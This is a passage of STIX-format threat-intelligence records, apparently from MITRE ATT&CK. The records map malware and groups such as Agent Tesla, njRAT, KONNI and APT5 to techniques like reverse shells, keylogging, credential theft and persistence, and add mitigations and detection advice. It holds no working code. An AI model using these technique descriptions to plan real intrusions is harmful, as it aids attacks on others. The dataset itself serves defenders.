"x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06dded4b-f28c-45d3-8dc6-097a9a4a3cd6", "type": "relationship", "created": "2019-01-29T18:44:05.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Brumaghin, E., et al. (2018, October 15). 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Retrieved November 5, 2018."}, {"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}], "modified": "2020-05-20T13:38:06.936Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can steal data from the victim\u2019s clipboard.(Citation: Talos Agent Tesla Oct 2018)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06de29d8-365b-4072-a4bb-9d436763ea1e", "type": "relationship", "created": "2020-05-27T15:31:09.498Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. 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Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.716Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used PowerShell reverse TCP shells to issue interactive commands over a network connection.(Citation: RedCanary Mockingbird May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--06e5b331-d382-4864-ab8c-083e006ede8a", "created": "2022-06-02T13:17:21.817Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason PowerLess February 2022", "url": "https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage", "description": "Cybereason Nocturnus. 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PowerLess](https://attack.mitre.org/software/S1012) can use a module to log keystrokes.(Citation: Cybereason PowerLess February 2022)", "modified": "2022-06-02T20:47:19.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06e7f684-24c1-4165-9144-c4457074eb10", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor for newly constructed logon behavior within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events)The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft SharePoint Logging", "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. 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Retrieved January 7, 2021."}], "modified": "2021-01-12T18:40:26.140Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.(Citation: McAfee Netwire Mar 2015)(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06ef19c1-8490-42cc-b345-45f3aa29fc5f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "modified": "2020-03-21T00:07:11.895Z", "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim username and encrypts the information to send over its C2 channel.(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06ef2810-b641-4142-83af-bbb00a598c11", "type": "relationship", "created": "2020-03-25T22:32:16.712Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-24T19:08:57.015Z", "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with system-level process changes and service configurations.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--06f16826-1100-4958-86e3-784a22998060", "type": "relationship", "created": "2021-06-15T15:49:36.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Wizard Spider October 2020", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", "description": "Podlosky, A., Hanel, A. et al. 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(2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."}, {"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}], "modified": "2022-01-05T22:19:18.895Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) has used certutil to download and decode base64 encoded strings and has also devoted a custom section to performing all the components of the deobfuscation process.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--07019af0-e801-48c7-a3bd-efc637003aa2", "created": "2022-08-11T22:36:55.462Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DCSrv](https://attack.mitre.org/software/S1033) has masqueraded its service as a legitimate svchost.exe process.(Citation: Checkpoint MosesStaff Nov 2021)", "modified": "2022-08-11T22:36:55.462Z", "relationship_type": "uses", "source_ref": "malware--5633ffd3-81ef-4f98-8f93-4896b03998f0", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0705be49-4ad2-4b50-a024-e8b79b53a1ab", "type": "relationship", "created": "2019-06-18T18:40:33.826Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Platt, J. and Reeves, J.. (2019, March). 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Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2019-07-17T13:11:37.812Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used pass the hash for lateral movement.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--074ed0d8-8a95-4090-a23b-6c3915587590", "type": "relationship", "created": "2021-09-09T15:38:06.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 ProjectM March 2016", "url": "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/", "description": "Falcone, R. and Conant S. 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Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2021-02-09T14:37:26.349Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or [PowerShell Profile](https://attack.mitre.org/techniques/T1546/013), to decode encrypted PowerShell payloads.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--075c6890-45e1-495e-a83e-b81ab05a8b4e", "type": "relationship", "created": "2019-09-13T13:17:26.318Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}], "modified": "2019-09-13T17:14:47.484Z", "description": "[Machete](https://attack.mitre.org/software/S0409)\u2019s downloaded data is decrypted using AES.(Citation: ESET Machete July 2019)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--075cdcb0-5a29-4ebb-bb0d-c2b22a5acec8", "type": "relationship", "created": "2022-03-17T12:34:56.661Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-17T12:40:55.387Z", "description": "In cloud environments, ensure that users are not granted permissions to create or modify traffic mirrors unless this is explicitly required.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}], "modified": "2020-03-20T16:35:27.455Z", "description": "Some variants of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--076141ed-10e8-4161-9cca-de1819f9cbdc", "type": "relationship", "created": "2021-01-06T17:15:47.540Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Additional Details Dec 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."}], "modified": "2021-01-10T18:09:07.618Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.(Citation: FireEye SUNBURST Additional Details Dec 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0766fe91-a8d9-42bd-8023-f2134b280211", "type": "relationship", "created": "2022-03-07T19:33:27.021Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}], "modified": "2022-03-07T19:33:27.021Z", "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can encrypt C2 messages with AES-256-CBC sent underneath TLS. OpenSSL library functions are also used to encrypt each message using a randomly generated key and IV, which are then encrypted using a hard-coded RSA public key.(Citation: NCSC Cyclops Blink February 2022)", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07683c47-4572-4579-93e7-ac83f2933ac2", "type": "relationship", "created": "2020-01-14T17:19:51.120Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-14T17:19:51.120Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0768a69c-4bd8-4d2c-8c31-b25547bd31e3", "type": "relationship", "created": "2021-03-15T18:58:38.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Ebury Oct 2017", "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}], "modified": "2021-03-15T18:58:38.409Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) can list directory entries.(Citation: ESET Ebury Oct 2017) ", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07702379-2d40-48ae-a077-d68e0da5e4be", "type": "relationship", "created": "2019-01-29T18:17:59.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CIRCL PlugX March 2013", "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}, {"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}], "modified": "2022-03-16T19:53:13.212Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate drives and find files recursively.(Citation: CIRCL PlugX March 2013)(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07720e8d-fd8a-449c-ac32-484ccf989694", "type": "relationship", "created": "2021-10-01T20:57:16.373Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:01.558Z", "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect IP information from the victim\u2019s machine.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0775a1ba-c95a-472e-ab1c-d21108acc907", "type": "relationship", "created": "2020-05-26T21:02:38.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}], "modified": "2020-06-08T16:07:36.216Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457) can add the following registry entry: <code>HKEY_CURRENT_USER\\SOFTWARE\\{8 random characters}</code>.(Citation: TrendMicro Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07773227-54d9-4476-877a-739c490b7b65", "type": "relationship", "created": "2019-06-24T18:57:11.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis njRAT June 2013", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}, {"source_name": "Trend Micro njRAT 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."}, {"source_name": "Citizen Lab Group5", "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", "url": "https://citizenlab.ca/2016/08/group5-syria/"}], "modified": "2019-06-24T18:57:11.074Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has a module that steals passwords saved in victim web browsers.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)(Citation: Citizen Lab Group5)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--077ab82e-3847-4dab-80e2-5dc0ea7d8e9e", "type": "relationship", "created": "2020-09-11T15:11:28.312Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T15:11:28.312Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) has used ICMP in C2 communications.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--077beadb-aa94-45bd-8875-d917fcd7f6b7", "type": "relationship", "created": "2020-08-17T14:08:26.102Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-08-17T14:08:26.102Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can collect jpeg files from connected MTP devices.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--077ce3ec-2414-4a56-a74f-c938415c102b", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0782e7d8-3df6-4eb4-99a9-3d3a74c7752c", "created": "2024-02-09T21:28:31.982Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T21:28:31.982Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has created Local Administrator accounts to maintain access to systems with short-cycle credential rotation.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0783831d-da64-4bb3-a54e-c5149e7e0d76", "type": "relationship", "created": "2020-10-15T23:51:41.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. 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[Magic Hound](https://attack.mitre.org/groups/G0059) has also collected credentials from over 900 Fortinet VPN servers in the US, Europe, and Israel.(Citation: IBM ITG18 2020)(Citation: Microsoft Iranian Threat Actor Trends November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": 